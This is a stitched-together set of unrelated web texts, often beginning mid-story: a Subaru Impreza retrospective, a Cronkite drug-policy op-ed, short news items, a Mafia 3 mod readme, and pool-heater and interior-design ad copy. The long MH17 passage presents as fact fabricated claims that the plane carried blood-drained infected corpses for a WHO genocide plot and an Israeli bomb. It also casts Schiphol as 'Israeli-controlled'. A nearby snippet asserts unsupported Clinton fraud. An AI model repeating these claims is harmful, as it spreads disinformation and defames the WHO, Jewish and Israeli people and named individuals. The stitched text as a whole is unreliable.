Its success soon went viral, and this in an era when word of mouth meant exactly that, and the internet was still held together with sticky tape. The motoring media did its bit, of course, but fans of the Scooby found out for themselves what the fuss was about, then told their friends. It was a car that inspired a community of like-minded souls. The whole scene was as unpretentious as the Impreza’s cabin.
It was a British thing, too, and even more than that a Celtic thing, thanks to the World Rally Championship and one of its most noted protagonists. The Irish have always loved rallying, and the car was an absolute weapon on Ulster’s perilous drumlins. But it was a Scottish driver, Colin McRae, who really put Subaru on the map when he won the world championship in his Prodrive-backed, vivid blue 555 Impreza in 1995. McRae - whose mantra was “If in doubt, flat out” - was ultimately out-pointed by Mitsubishi’s Tommi Mäkinen and subsequently moved to Ford, but McRae’s protégé Richard Burns won the driver’s title for Subaru in 2001. Both men are indelibly linked to the Impreza. All three are now sadly gone.
No worries about their legacy, though. 15 versions of one very special vehicle. It’s possible that you - or more likely your kids - still play the Colin McRae Rally computer game (the PlayStation generation having usurped the Loaded lads as Y2K came round). But one thing I can tell you is that in 20 years of doing this job, few cars have delivered the TKO of the Impreza.
All sorts of Imprezas, in fact. Once the UK importer realised what was going on, not to mention how many cars were invading the country as grey imports, we were carpet-bombed with different variants, bearing increasingly preposterous names.
The original - which you could probably swap for a portion of fish and chips these days - remains a personal highlight, if only because I’ll never forget my first go in one. The 208bhp, flat-four boxer 2.0-litre thrumming away, the agricultural yet strangely satisfying gearbox, all topped off with the most unbelievable handling: there’s not much to be said for Peterborough, but here was a car that made perfect sense on the city’s endless roundabouts, the greasier they were, the better.
Then there was the RB5, a 444-strong limited edition with 240bhp and a lusty 258 torques in Prodrive form. A driver-controlled centre diff meant no ABS on the 280bhp WRX STI V Type R, which was sort of grey and also had a carbon-fibre strut brace, Brembo brakes, a short-throw gearshift, and, yes, a water spray for the intercooler. The 280bhp P1 could do 60mph in 4.6 seconds, McLaren F1 designer Peter Stevens did his best to make it look conventionally sexy (the rear wing was mega), and the Subaru Tecnica International (STI) skunkworks bequeathed it top-notch aluminium wishbones, springs and dampers. All for £31k in late 1999.
We wanted them all. But the daddy, and a car I’d happily swap a limb for even now, 14 years later, was the 22B. This bruiser was based on the WRX two-door coupe, 20mm wider at the front, 40mm at the back, and packed a bored-out 2.2-litre engine, twin-plate ceramic-metal clutch, and anything up to 400bhp, depending on what grade of loony had tuned it and whose dyno you ran it on. The 22B also had a seam-welded chassis, and, boy, could you tell. Not so much a car as a series of controlled explosions, it was the one Impreza that would bite back if you weren’t paying attention.
Nobody could have topped that. In 2000, a wilfully ugly all-new model appeared, and although 2001’s UK300 version was a belter, 2003’s facelift easier on the eye and the later WR1 managed to wring 311bhp out of that redoubtable 2.0-litre flat-four, the momentum was gradually, inevitably slipping away. In 2008, the next-generation car appeared as a too-soft, overly complex hatchback, and though the 395bhp Cosworth CS400 version got close to 22B levels of inspired lunacy, there were only 75 of them, and they cost £49,995 each. The game was up.
So, what did kill the Impreza Turbo? Partly economics: the unfavourable exchange rate meant it was hard to make money on it, even as its UK price headed improbably northward. Its poor emissions and fuel economy were marginalising it, too, and the sad decline of the WRC, and Subaru’s absence from the sport, robbed it of its USP. And maybe - whisper it - some of its core audience had simply grown up and moved on. It happens.
But aren’t we forgetting something here? The Subaru BRZ weighs 1,220kg, has 200bhp, is defiantly rear-wheel-drive and costs just under £25,000. It’s on sale right now, and we love it.
Subaru, fade away? Not just yet.
Words: Jason Barlow
When the dust cleared, the Clinton's were richer and many Haitians were without the funds promised to rebuild their homes and provide aid for the devastation left behind by the earthquake that hit Haiti in 2010. Now, here we go again with Hillary giving speeches, in this case a commencement speech, in the presence of the very ones that her family has allegedly bamboozled out of millions of dollars. Hopefully, the college’s president, Rudy Crew, will come to his senses and cancel Hillary's slap in the face speech. On second thoughts, we know about the Clinton’s “pay-to-play” tactics so maybe someone is getting their palms greased as is always the case surrounding a Clinton speeches.
RIP Walter Cronkite! In the summer 1992, I was told by an assistant that I had a phone call, and that “unless the person on the phone was kidding, that it was someone claiming to be Walter Cronkite.”
I took the call and it was in fact Mr. Cronkite, who wanted to talk about his concerns regarding America’s so-called ‘war on drugs’. We talked for about half an hour and he asked me to fax him some data and/or reports to support some of the information I’d related to him regarding arrest rates, racial disparity and I think the efficacy of medical cannabis. As he related his fax number to me I recognized the exchange as coming from Dukes County, MA (which is principally Martha’s Vineyard and Nantucket Islands). I told Mr. Cronkite that I had grown up in close proximity to his locale, across Nantucket Sound in the Cape Cod town of Chatham. That sparked an additional half hour conversation about striped bass, giant Atlantic bluefin tuna and the importance of knowing where you derive pleasure.
All in all, a most pleasant conversation with a journalist I’d grown up watching and had always generally respected.
I was heartened some years later when Walter Cronkite started speaking out strongly against the war on some drugs, including doing fundraising letters and videos for the Drug Policy Alliance.
Drug war is a war on families
By Walter Cronkite
Article Published: Sunday, August 08, 2004
In the midst of the soaring rhetoric of the recent Democratic National Convention, more than one speaker quoted Abraham Lincoln’s first inaugural address, invoking “the better angels of our nature.” Well, there is an especially appropriate task awaiting those heavenly creatures – a long-overdue reform of our disastrous war on drugs. We should begin by recognizing its costly and inhumane dimensions.
Much of the nation, in one way or another, is victimized by this failure – including, most notably, the innocents, whose exposure to drugs is greater than ever.
This despite the fact that there are, housed in federal and state prisons and local jails on drug offenses, more than 500,000 persons – half a million people! Clearly, no punishment could be too severe for that portion of them who were kingpins of the drug trade and who ruined so many lives. But by far, the majority of these prisoners are guilty of only minor offenses, such as possessing small amounts of marijuana. That includes people who used it only for medicinal purposes.
The cost to maintain this great horde of prisoners is more than $10 billion annually. And that’s just part of the cost of this war on drugs: The federal, state and local drug-control budgets last year added up to almost $40 billion.
These figures were amassed by the Drug Policy Alliance, one of the foremost national organizations seeking to bring reason to the war on drugs and reduce substantially those caught in the terrible web of addiction.
There are awful tales of tragedy and shocking injustice hidden in those figures – the product of an almost mindlessly draconian system called “mandatory sentencing,” in which even small offenses can draw years in prison.
Thousands of women, many of them mothers of young children, are included among those minor offenders. Those children left without motherly care are the most innocent victims of the drug war and the reason some call it a “war on families.”
Women are the fastest-growing segment of the prison population, with almost 80 percent of them incarcerated for drug offenses. The deep perversity of the system lies in the fact that women with the least culpability often get the harshest sentences.
Unlike the guilty drug dealer, they often have no information to trade for a better deal from prosecutors, and might end up with a harsher sentence than the dealer gets.
Then there are women like Kimba Smith, in California, who probably knew a few things but was so terrified of her abusive boyfriend that she refused to testify against him. (Those who agree to testify, by the way, frequently are murdered before they have a chance to do so.) Smith paid for her terrified silence with a 24-year sentence. Nonviolent first offenders, male and female, caught with only small amounts of a controlled substance frequently are given prison sentences of five to 10 years or more. As a result, the number of nonviolent offenders in the nation’s prisons is filling them to overflowing, literally. The resulting overcrowding is forcing violent felons onto the streets with early releases.
The Drug Policy Alliance also points out other important areas of injustice in the present enforcement system. For instance, people of color – African-Americans and Latinos – are far more likely to be jailed for drug offenses than others. And college students caught in possession of very small amounts of illegal substances are denied student loans and even food stamps.
The Alliance and other organizations are working to reform and reframe the war on drugs. And they are finding many judges on their side, who are rebelling against this cruel system. We can expect no federal action during the congressional hiatus in activity ahead of the November elections, but it would be of considerable help if, across the country, campaigning politicians put this high on their promises of legislative action, much sooner than later.
The two intelligence-gathering drones were deployed along with 70 airmen to Lielvarde air base in Latvia over the weekend to participate in partner training, said Navy Captain Jeff Davis, a Pentagon spokesperson.
"This temporary assignment of aircraft and personnel will test their ability to forward deploy (remotely piloted aircraft) to conduct air operations and assure our Latvian allies, NATO allies and European partners of our commitment to regional security and safety," said Davis at a daily press briefing, according to Xinhua.
As part of the European Reassurance Initiative, the US deployment, which would last till mid-September, was meant to support its North Atlantic Treaty Organisation (NATO) allies against what the Pentagon describes as a rising Russian threat in the region.
Leading former judges and lawyers have criticised the government's "slow and narrow" response to the migrant crisis.
Lord Phillips, former UK Supreme Court head, and Lord Macdonald, ex-director of public prosecutions, are among 300 to sign an open letter on the issue.
They say the offer to accept 20,000 refugees over five years is not enough. One retired judge said the UK could cope with taking in 75,000 a year.
The government said it had been at the forefront of the global response.
In addition to offering to accept 20,000 refugees from camps bordering war-torn Syria, it has provided £1bn in aid to Syria, with an extra £100m given to charities to help thousands of people displaced by the conflict.
'Shared responsibility'
Among others to put their name to the open letter to the press is former president of the European Court of Human Rights, Sir Nicolas Bratza.
Media playback is unsupported on your device Media caption Catriona Jarvis, a retired judge, says the government's response to the refugee crisis had been "too low, too slow and too narrow"
Signatory Catriona Jarvis, a retired judge, told BBC Radio 4's Today Programme the government's response to the refugee crisis had been "too low, too slow and too narrow".
She said Britain could accept many more refugees.
EU migration: Crisis in graphics
The refugees preparing for UK life
Migrant crisis: Why is it erupting now?
Image copyright EPA Image caption Refugees are travelling to the UK from camps in countries neighbouring Syria, including Turkey
"Around the Balkan crisis we were receiving around 75,000 a year. It was within our capability. We managed it well," she said.
"We are the sixth or seventh richest country in the world, it is not beyond our capabilities to make the necessary changes to receive our share.
"International protection, it is a shared duty, a shared responsibility."
Image caption Chart shows 'main claimants' only, and not dependent family members.
'Humanitarian visas'
BBC legal affairs correspondent Clive Coleman says it is "highly unusual" for former judges to publicly criticise government policy in such a way.
He said: "Today's statement is weighty and blunt. Blunt in calling the government's response to the refugee crisis 'deeply inadequate' and the offer of 20,000 resettlement places for Syrian refugees over five years 'too low, too slow and too narrow'.
"And weighty because of the signatories. Four former Law Lords, five retired Court of Appeal judges, a former president of the European Court of Human Rights, an ex-director of public prosecutions and 100 QCs who regularly represent the government."
Syrian refugees in the UK 20,000 more refugees will be resettled in the UK by 2020 4,980 Syrian asylum seekers have been allowed to stay since 2011 25,771 people applied for asylum in the UK in the year to end June 2015
2,204 were from Syria
87% of Syrian requests for asylum were granted
145 Syrian asylum seekers have been removed from the UK since 2011 AP
The lawyers and judges are calling for the establishment of safe, legal routes into the EU.
As a stable and prosperous country, we can do better than this Sir Stephen Sedley, Former Lord Justice of the Court of Appeal
One way of doing this would be to create a system of "humanitarian visas" so that refugees did not have to undertake dangerous journeys to reach Europe.
They claimed that people with a moral right to protection were being driven into the hands of people smugglers.
Pushpinder Saini QC, who regularly advises and represents the government, said: "The letter reflects profound concern in the legal profession... that the government lacks a coherent, just or humane response to the refugee crisis.
"As a nation which once had the foremost reputation as a safe haven for refugees, we have lost our way."
Sir Stephen Sedley, former Lord Justice of the Court of Appeal, said: "As a stable and prosperous country, we can do better than this."
'Suspend Dublin system'
The letter also calls for the suspension of the so-called Dublin system, which means asylum seekers must claim asylum in the first EU country in which they arrive.
The lawyers said "in certain member states, particularly at the EU's periphery, reception conditions have collapsed and determination procedures are rudimentary".
The first of the Syrian refugees arrived in the UK at the end of September.
Eventually the UK will have to take about 400 refugees a month in order to meet its 20,000 target by 2020.
Gabbert posted this message to Craigslist last week:
I am currently deployed and my ex sold my dog. I just found out and I am trying to find the people (person) who bought him. I will pay anything to get him back. His name is Baxster and he is an Shiba Inu. I do not have my phone with me. You can email me. The phone number is my mom's she is helping me locate him. If you have any information PLEASE give us a call or an email.
The posting tugged at people's heartstrings, and a Facebook campaign aided by a Colorado-area Shiba Inu rescue helped figure out where Baxter had gone. Unfortunately, the family who bought him was reluctant to give him back. After just one week, their kids had become "attached" to the dog.
The story made the local news and, by Monday, Robby's friends and supporters raised $1,400 to offer the family as a reward for Baxter's return.
Although several sources are reporting that the family who purchased Baxter is still clinging to the dog, it looks like they've agreed to give him back to Robby's family, where he'll stay until Robby comes home.
Colorado news station KOAA 5 posted this update on Facebook:
We just got word from organizers of the "Help Bring Baxter Home 2014" Facebook page that they have the family's word that Baxter will be returned to Robby. They are still reaching an agreement, but the Facebook page has been removed at the family's request.
A happy ending for Baxter and Robby, but a sad one for the family who thought they were legitimately adopting a Shiba Inu.
Winston originally took heat for stealing crab legs from the store, but recently told Jim Harbaugh on ESPN that he received the food free of charge from a store employee.
Freeman said he asked an NFL general manager about the incident.
“Our investigators found several Publix employees who corroborated what Winston said. Winston told this story to our team and I believe others. We were able to determine that he was telling the truth. I won’t get into more detail than that. “Should Winston have taken free food? No, of course not. But college football stars, at every campus in America, get free stuff. They all do. Every single one. “We feel like Winston was wrong but he’s part of an overall college system where this happens daily. My personal opinion is that on this issue, and this issue alone, he was hung out to dry.”
At the same time, Maria Brous, Publix’s director of media and community relations, said the store conducted its own investigation and came to a different conclusion.
Hardcore Difficulty Mod V1.0 : Made By Slade
A lua script mod for the game Mafia3 by 2K Games
INFORMATION:
VERSION:
This is version 1.0 initial release.
COMPATIBILITY:
All of my mods are 100% compatible to each other.
In general the mods should be compatible to almost every other mod.
Obviously, if you are using a mod that injects or alters the game in the same way like one of my
mods does, weird stuff can happen.
Also make sure bindkeys from other script mods are not blocking.
DESCRIPTION:
This mod adds hardcore difficulty to the game.
Player will take 5x more damage from enemies than normal.
GAMEPLAY:
HOW TO USE:
Press F1 while in game to activate hardcore difficulty.
After loading a savegame (for example if player dies()
you need to reactivate the script by pressing F1.
AUTHOR INFO:
MBS stands for "Made By Slade". I am Slade, the author of this mod.
My primary alias is "Sladernimo". I'm a part of the Vega Game Projects - community.
Vega-GP is a gaming and modding community. You can visit us at "www.vega-gp.de".
VEGA-GAME PROJECTS INFO:
Vega Game Projects is a community for individual gamers and modders.
We customize our games and servers to refine the overall gaming expirience and play togehter.
We usually hang out on our Teamspeak Server.
If you are intreseted visit our website at www.vega-gp.de
or contact us:
- TS³: vega-gp.de
- Mail: [email protected]
LEGAL NOTICE:
Mafia Games / Mafia 3 are registered trademarks of 2K Games. This modification is not affiliated
with or endorsed by 2K Games.
© 2016. 2K Games and its subsidiaries. All other marks and trademarks are the property of their
Besides the nearly 300 passengers aboard the ill-fated Malaysian Airlines, the plane’s cargo bay was loaded with dozens of infected corpses drained of their blood and countless packets of possibly virus-contaminated blood serum, according to the local eyewitnesses, first-arrivers at the crash site in the Donetsk region along Ukraine-Russia borderlands.
The gruesome finding points irrefutably to Malthusian skulduggery at the highest levels of the World Health Organization (WHO) in sponsoring a covert biological warfare program against the population of Asia. A systematic investigation is now required to uncover the deadliest plot against humanity in modern history. The more predictable outcome, unfortunately, is likely to be a cover-up on an unprecedented scale to protect the globalist elite from scrutiny, legal prosecution and justice.
The blatant violation of international laws for transporting infectious agents indicates a criminal intent in their use at destination. IATA, the watchdog agency for air travel, strictly controls and registration rules in the conveyance of corpses and infectious substances due to the dangers of accidental spillage or deliberate biowarfare. The WHO also imposes tight reporting rules for physical transfer of materials between laboratories, and is therefore now caught in flagrante delicto violating its own rules.
The notable failure by the Israeli-controlled Amsterdam-Schiphol Airport customs clearance, in addition to the WHO and IATA, to warn emergency crews and investigators at the crash site of the epidemic danger proves that the gruesome cargo was transported illegally without registration. The UN and WHO are directly implicated in this covert transfer of biowarfare agents in the cargo hold, accompanying some 100 of their top virus researchers, staff members and NGO supporters in the passenger cabin.
Pity the first responder
According to rebel commander Igor Girson, who goes by the nom de guerre Strelkov, as quoted by AP, reported that local villagers who rushed to the crash scene found “a significant number of the bodies weren't fresh.” The first-responders also said the corpses had been drained of blood and reeked of decomposition.
Could the cadavers have been air-freighted for simple anatomy classes? That is a freshman question. Paying air-cargo fees to send bodies to Asia is more of a financial loss than sending coals to Newcastle. There is no shortage of fresh John Does on ice from places like the Philippines. Drained of blood and reeking from decay, the corpses can be nothing other than carriers of an infectious disease.
Decomposed cadavers and tainted blood exposed to wind, soil and ground water pose a present and clear threat to public health for millions of people across Ukraine, western Russia and the countries of the Black Sea, including Moldova, Turkey and even as far as Greece. A regional warning needs to be issued, but none is forthcoming, not when the WHO is implicated while its executives, the hidden elitist sponsors of genocide, scramble for the cover of respectability. These reprobates nestled in the medical bureaucracy are far ;worse than ordinary war criminals.
A hair’s breadth from worst case
In a worst-case scenario, and the facts thus far point to a hair’s breadth short of worst case, the MH17 crash on the Ukraine-Russian borderlands could have been the start of a real World War Z. Conversely the shoot-down could have been an act of twisted heroism in a desperate last-minute strike to prevent biological warfare on a global scale.
One question logically raised is whether the transport of infected corpses and tainted blood to host countries can be a standard feature of the UNAIDS conferences. Serving as a medical-science reporter with The University of Hong Kong press, I reported extensively on UNAIDS 2001 in that that city and visited the top research university laboratories. I can attest that bodies and blood samples were not obtained as part of the proceedings, and precautionary procedures for the sharing of tiny bits of samples were always followed to a tee.
The WHO was shipping its “zombie” passengers for a criminal purpose, very possibly genocide on a wide scale, perhaps continental. Blood-drained corpses are the stuff of horror movies, but this nightmare arose from one of the busiest airports of “civilized” Europe, and one controlled by ITCS, a security company linked from its inception to the Israeli Mossad.
Mad Scientists with renewed support from above
A reason for concern, early in this investigation, is the fact that The Netherlands, the origin of of Flight 17, is the center for the engineering of weaponized viruses under Ron Fouchier, the closest research associate of the notorious Japanese influenza expert Yoshihiro Kawaoka. The flu-research center at Eramus Medical University in Rotterdam is the sister-laboratory of Kawaoka’s Institute of Infectious Virus Research at the University of Wisconsin, Madison.
The deadly duo’s pseudo-scientific research includes the “perfection” of a Spanish flu virus that killed of 20 million victims worldwide in 1918-19. Kawaoka recently boasted that nothing can stop his newest variant of H5N1, the avian influenza virus. Fouchier’s fanatic disciples, meanwhile, have been weaponizing the H7N9 bird-flu virus that killed more than 40 people in China. (Weaponization involves three objectives, first, to hasten the ability of a virus to spread, that is, to be more contagious; second, to increase its lethality; and third, to develop an antidote available only to the chosen few.)
Kawaoka and Fouchier are not mad scientists working on the fringe, they are accredited researchers with powerful funding support. Two years agi, the twin labs received a massive boost in funding from unidentified sources funneled through department budgets despite vociferous objections from other scientists as to the unstoppable risks.
The patrons of the deadly research includes the chairman of the Eramus University trustee board, Anton Van Rossum, a former executive with Solvay, the Belgium chemical producer that illegally provided sarin-gas components to the Israeli biowarfare program aboard an El Al jetliner that crashed in Amsterdam. The El Al flight hit a crowded apartment block, soon after takeoff from Schiphol Airport, which also is the takeoff point for MH17.
Aboard that El Al flight was a shipment of an RNA-based bioweapon known as mycoplasm, which replicates in water (for example, inside the human lungs) and is suspected to have been used in the two Gulf Wars against Iraq. Bioweapons, Solvay, Israeli, Schiphol, ICTS and Boeing are the common denominators between 1992 El Al crash and the 2014 Malaysia Airlines disaster
Preventative action at tragic cost
If the world can still believe in “heroes in white armor” or at least bad guys with a grain of common sense under their black hats, a Hollywood-type disaster script emerges from this real-life action flick. Before the zombie cargo escapes Europe to launch World War Z in Asia, top generals with NATO and the Russian command decide that the payload must be stopped at any cost. The passenger casualties tragic as they are, the loss of billions of innocent lives in an unstoppable global pandemic must be prevented.< /span>
Indeed, an independent technical analysis of the video clips from the crash site, by a retired CIA crash expert, confirms just such a scenario:
- the metal fuselage of the Boeing-777 shows no traces of deep and long scratch marks from the steel balls delivered in the warhead of a Buk ground-to-air missile;
- The starboard (right-wing) jet engine was badly damaged and caught fire, pointing to a hit by a smaller air-to-air missile launched from a fighter interceptor, flying at about the same altitude; and
- the midsection was “blown outward and not inward,” indicating a bomb blast inside the cargo bay.
The expert observations, when assembled, shows that a NATO interceptor fired a heat-seeking missile at a jet engine, triggering a fire. The flames were expected to move up the fuel lines inside the wing to set fire to the plane and incinerate all contents, especially the infected corpses and blood packets.
The midair disinfection plan came undone when a bomb hidden inside the cargo bay by the Israelis, timed to explode at Kuala Lumpur International Airport (KLIA) to spread biowarfare agents after all the passengers debarked safely, instead heated up and burst midair. The bomb blast blew out the on-board fire before the cargo was torched. The plane plummeted to the ground with the biowarfare agents and corpses intact.
World’s military commanders dread biowarfare
President Vladimir Putin, out of character, did not react forcefully to the accusations of a Russian role in the shoot-down, indicating military commands of NATO and Russia are on the same page in their determination to stop the Israeli-inspired, WHO-backed bioweapons attack against the world population. The other question now, besides decontamination, is: How to track down and punish the perpetrators and planners who were not aboard MH17?
The Ukrainian side, which lacks any of the intelligence professionalism required for these sorts of code-red operations, bungled their version of events and clumsily imposed a communications blackout over the control tower at Kiev Airport. Preventing global genocide is not a task for Cub Scouts out to protect their petty national interests. Imperial powers are far more astute at the deadly game, which is why they are empires and mere nations.
The threat of World War Z is not over, not when Ukrainians and Russians are being exposed to the unleashed viruses that defy inoculation with vaccines. Trained biowarfare experts in safety suits should collect the evidence and torch the bodies in a mobile plasma incinerator. By the time the clean-up is finished, Eastern Ukraine could end up as uninhabited as the central Congo after WHO teams eliminated all potential carriers of ebola.
Evil never quits
The world’s population has practically zero awareness of the well-hidden strategists who plan and order annihilation of entire regions, as has been happening with the ebola campaign and AIDS in Central Africa, or the Factor VIII HIV-tainted blood propagation to the war-torn Balkans and Japan under the Clinton and Bush administrations. This summer another brazen biowarfare attack was within a razor’s edge of exterminating Malaysians and millions of other Asians.
War on a global scale is no longer fought in trenches, but waged in laboratories, airports, city centers, hospitals, senior homes and schools.It is not called total war, it is simply known as global policy. As a footnote, it should be noted that Professor Kawaoka is a graduate of Kobe University, and that port city is the traditional center for veterans of Unit 731, which unleashed plague and hanta virus against entire cities in World War II. The WHO is the successor to Unit 731, and so WWZ is upon us.< /span>
Yoichi Shimatsu is a science writer, who organized public health seminars during the SARS and avian influenza outbreaks in Hong Kong and Bangkok. He was the lead investigative journalist in the 1995 Tokyo subway gassing and subsequent terrorist threats against Japan’s nuclear reactors. His article on the Amsterdam crash of an El Al cargo jet loaded with bioweapons, sarin and war-grade plutonium follows this article.
Dutch Suspect Covert 1992
Nuke Weapon Transfer to Israel by Yoichi Clark Shimatsu
(PNS) AMSTERDAM -- The Dutch Parliament is just this month holding public hearings to determine vital facts about an October, 1992 airplane accident. The El Al Boeing 747 crashed into an apartment building in Bijlmeer, a suburb of Amsterdam, killing 39 people on the ground and four aboard the plane. It was carrying a secret cargo that included the main chemical ingredients for the nerve gas sarin as well as depleted uranium. Dutch journalists allege it was carrying weapons-grade plutonium as well.
As many as 2,000 local residents and firemen have reported health complaints that they attribute to the crash. Many report loss of hair in the weeks after the crash, a sign of radiation disease.
Possibly nuclear weapons technology being illegally shipped from U.S. to Israel
The hearings at The Hague follow six years of investigation by Dutch journalists Vincent Dekker and Pierre Heyboer with the Volkskrant newspaper. The most important witnesses will not be present, however -- officials of the Bush administration. The flight stopped at Amsterdam's Schiphol Airport for refueling en route from New York to Tel Aviv. On October 4 last year, the sixth anniversary of the crash, Dutch transport ministry leaked to a newspaper an El Al bill of landing that shows the plane was carrying 190 liters of dimethy methylphosphonate (DMMP), four liters of isopropanol and an undisclosed amount of hydroflouric acid.
The chemicals were being sent to a super-secret weapons facility, called the Israel Institute of Biological Research (IIBR) south of Tel Aviv. The Israeli government has claimed that the chemicals were intended for testing gas masks. But most military services use only a few grams for such purposes. The chemicals aboard the El Al jet were enough to produce 270 kilograms of sarin nerve gas -- enough to annihilate the populations of many major cities. The sarin components came from the Solkatronics chemical plant in Morrisville, Pennsylvania, then owned by Solvay, a chemical corporation based in Brussels, Belgium. International transport of such materials is a violation of the Chemical Weapons Treaty, signed by the U.S. The El Al jet also carried at least 800 kilograms of depleted uranium (DU), used as ballast to balance the jet's cargo. Burned DU releases uranium dust, which is known to cause lung cancer and other diseases. Dutch authorities and El Al admit Flight LY1862 carried sarin components and DU, but refuse to provide details on six tons of military cargo. According to airport security personnel, the plane carried seven pallets of unspecified munitions. Journalist Dekker claims, on the basis of leaks from Dutch officials, that the jet carried 27 kilograms of weapons-grade plutonium, enough to make seven warheads the size of the bomb that was dropped on Nagasaki in 1945. In addition, soil samples taken at the crash site have turned up evidence suggesting that nuclear weapons technology was being illegally shipped from the U.S. to Israel.
The El Al jet landed and took off at Schiphol, one of the world's busiest civilian airports, and flew across the most densely populated area of Europe. If 27 kilograms of plutonium had bounced into the burning wreckage, nearly all of Western Europe would have faced a nuclear emergency bigger than the Chernobyl accident. Dutch and Israeli authorities apparently organized a cover-up. Most documents taken from El Al officials have disappeared. Police audio tapes and 42 videotapes taken by the firefighters were shredded. Firemen claimed that they turned in the cockpit voice recorder, or "black box," but the government denies that it was ever found. Metal parts from the wreckage were recycled and melted down before a proper investigation could begin. Residents report seeing helicopters, painted black and without markings, landing in their neighborhood. Others tell of a French-speaking team searching the area, and a group of men speaking English, some clad in white chemical protective suits, carrying a heavy box covered with a white cloth. The Dutch authorities have denied that these events ever happened. Journalists say Dutch security officials have told them that the Netherlands has allowed Israel to make secret military air shipments through Schiphol since the 1950s. The shipments apparently are outside the Atlantic Alliance military treaties because the aircraft going to Israel are not refueled at NATO air bases but at the commercial airport of Schiphol. "Schiphol has become a hub for secret weapons transfers because El Al has special status there. Dutch authorities have no jurisdiction over Israeli activities at the airport," said Henk van der Belt, a member of an investigation team set up by Bijlmeer residents. Every Sunday at sundown, an El Al cargo plane stops at Schiphol, refueling midway on the long journey between New York and Tel Aviv. All Israel-bound cargo is put inside a vacuum chamber in an underground bunker to test it for bombs equipped with altimeter triggers. But the flight does not appear on any airport video monitors -- there is not even an El Al check-in counter. Documents for air freight to Israel are handled inside an unmarked room. A photo taken just before the 1992 accident showed that the engine of the El Al jet was off-center, indicating it was previously damaged. Airport workers in Cologne, Germany, where the jet refueled on its way to New York, say the plane collided with an airport ground vehicle there. In other words, the cargo jet loaded with U.S.-made sarin, uranium and plutonium could have crashed in New York but it turned out to be a time-bomb flying to the heart of Europe.
It is surprising how low the initial costs are for a gas pool heater. The cost of the actual unit can vary greatly but is mainly determined by how large your swimming pool is. A larger heater is required by a larger pool. An outdoor pool located in Alaska will naturally take more heating effort compared to the same pool that is located in Naples, FL! A larger heater raises the temperature of the pool faster, but after you get to a comfortable temperature, maintaining it doesn’t require as much effort.
A gas pool heater will cost $1,000 to $3,000 and professional installation costs will run around $150 up to $850. Is it possible to install on your own? Yes, apart from gas or electrical connection, the other parts of the installation process should be pretty straightforward for anyone who is handy and owns some basic tools. All that you need are some PVC pipe modifications for inserting the heater in between the pool and existing pool filter. You can find some basic instructions in this article to help you determine whether you are up to the job or not. However, it is best to have professionasl like Sweetwater Pool Service install them. Visit: http://trysweetwaterpools.com/pool-heat-pumps.html to get more info on installation of pool heaters in Naples.
Running Cost
When it comes to supplying gas to your pool heater, there are two main options. The heater you purchase will depend on the kind of gas you will use and that is very important. If there is gas that is piped into your home, that will be Natural gas (or Naples city gas) and that is the cheaper option out of the two. Otherwise, you will need to use bottled gas. That is Propane and it is more expensive. In fact, the cost of propane will be as much as twice what natural gas costs. If you use a pool cover that will help to reduce your heating costs by around 80% and that applies to any heating system you use. The point that we cannot stress enough is how important it is to invest in purchasing a pool cover.
Maintenance costs are the second type of running cost that is frequently overlooked. Gas pool heaters will still have some scale build-up and potentially damage due to chemical imbalances. Technology has continued to improve so that heat exchangers are much better than they used to be, however, damage can still be caused by a pool that is out of balance. A good preventive measure would be an annual service – usually, the user manual that comes with the heater will have a maintenance schedule. A gas pool heater that is well-maintained can last 5-10 years.
Efficiency
Present day gas pool heaters are able to run at about 95% efficiency. So for each $100 that you spend on gas, you will get around $95 of heat going into the pool water. A majority of gas pool heaters were only at about the 50% mark not that long ago, so over the years, considerable improvements have been made. The efficiency might appear to be low when compared to a heat pump pool heater’s 400-500% efficiency. However, there are other reasons why gas heaters are better to use compared to heat pumps. For instance, a heat pump has a shorter lifespan and stops to work at about 45 degrees F and lower. Technological advances have been made in the heat exchangers that gas heaters use to make them longer lasting and more efficient.
Simplicity
The simplicity of gas heaters is one of the best things about them. There isn’t much electronics and other types of wizard that is built into these heaters. Since there is less than can go wrong with them, they have a tendency to run for longer periods of time without problems compared to heat pumps which are prone to more faults due having more than can go wrong. Basically, you just have a heat exchanger and gas burner with temperature controls for regulating the flow of gas – fewer electronics equals fewer problems.
Speed
A gas heater is at its most efficient whenever a pool is being heated from a low temperature. That makes them perfect for people wanting to use their pool just occasionally. For example, a 30,000-gallon pool’s temperature can be raised by around 20 degrees F in 24 hours when a gas pool heater is used with around a 400,000 BTU output. Once that temperature is achieved, maintaining it requires much less output – especially if a pool cover is used.
To summarize, using gas pool heaters Naples FL residents is a great overall way to increase your swimming pool’s temperature in the colder months. It will quickly increase the temperature on demand and operates at temperatures that are below freezing. They are basic and have a decent life expectancy as long as they are properly maintained. These heaters are also cost-effective to initially purchase as well as operate when a pool cover is used. As long as a quality gas pool heater is selected, it will provide you with a very satisfying and long swimming season without putting a big dent in your bank account.
Hiring Affordable And Reliable Miami Interior Designers
Did you know that it is actually very easy to find a professional that will come out to your home, helping you to redesign your interior? If you are in the Miami area, you are very lucky due to the sheer volume of these individuals and companies that offer these professional services. An interior designer is different from an interior decorator in that they are also concerned with the amount of space that you have, and that it is used efficiently. The designer is also able to take into account how many rooms that you need to do, and perhaps how you can rearrange furniture and other items in your home to redistribute everything much more evenly. Here is an overview of what they do, and how you can easily find, and affordable and reliable Miami interior designers.
What They Actually Do
Once you have gone to the process of evaluating the many different companies that offer these services, and they have come out to your home, you will see that the work that they do is very detailed. For example, they may tell you upon their initial evaluation that a room may need to be remodeled, and if so, they are able to coordinate this work with a contractor and get the necessary permits to complete the project. If it is a smaller project, it will be necessary for them to create a living space that utilizes each room as effectively as possible. They will have a strong understanding of shape, colors, and how everything can work together, sort of a feng shui way of reorganizing everything. Once done, they will create a visual schematic to show you exactly how your home will look once everything is in place. Based upon the estimates that you receive, and the final design layouts that they will show you, you can make your choice based upon what you believe will help you redesign the interior of your home in the most effective and affordable way.
Different Types Of Interior Design
There are both commercial and residential interior design professionals, depending upon what you need their services for. In a residential home, they will look at every single room in your house including your bathrooms, bedrooms, kitchen, living room and even help you organize your closet space. Commercial designers work with large businesses and corporations such as restaurants, hotels and even schools. The type of training that they have will also play a role in which area of expertise that they are able to offer you, and will play a large role in making your final choice.
Hiring The Best Miami Interior Designer
You can hire one of these individuals or companies once you have received the information back, based upon their assessment of your home or office and what they plan to do. Their plan will also come with an estimated price of how much it will cost, how long it will take, and they will also tell you when they can get started. The more estimates you get, the easier it will be to make your final choice. Always consider the budget that you have the work with, and pay close attention to the details in the plan layout that they offer, making sure that it is exactly what you are looking for.
